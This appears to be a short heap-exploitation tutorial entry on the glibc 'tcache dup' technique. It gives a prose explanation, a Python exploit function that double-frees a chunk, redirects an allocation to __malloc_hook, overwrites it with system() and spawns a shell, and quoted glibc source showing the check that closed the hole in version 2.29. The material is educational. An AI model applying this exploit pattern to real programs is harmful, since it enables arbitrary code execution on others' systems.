tcache dup makes use of a double free (like fastbin dup). The fastbin dup makes use of the fastbin freelists, while tcache dup makes use of the tcache freelists. When we allocate a chunk and free it twice, the subsequent allocations will be duplicate and we can trick the allocator into returning a desired memory location by writing into the duplicated chunks.
Example
(Refer to the vulnerable C menu-style application and the exploit script)
def exploit_tcache_dup(ps, leaked_addr, system_addr, binsh_addr, interactive=False):
chunk_size = 1032
# allocate a tcache-sized chunk
A = ps.alloc(chunk_size)
# perform a double-free
ps.free(A)
ps.free(A)
# B should have same location as A
B = ps.alloc(chunk_size)
ps.write(B, p64(leaked_addr))
C, D = [ps.alloc(chunk_size) for _ in range(2)]
# D is now at __malloc_hook. We overwrite it with the addr of system
ps.write(D, p64(system_addr))
return ps.try_spawn_shell(binsh_addr, interactive)
Note
tcache dup is patched in glibc>=2.29
due to a security check on the tcache patching the double free vulnerability.
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
// ...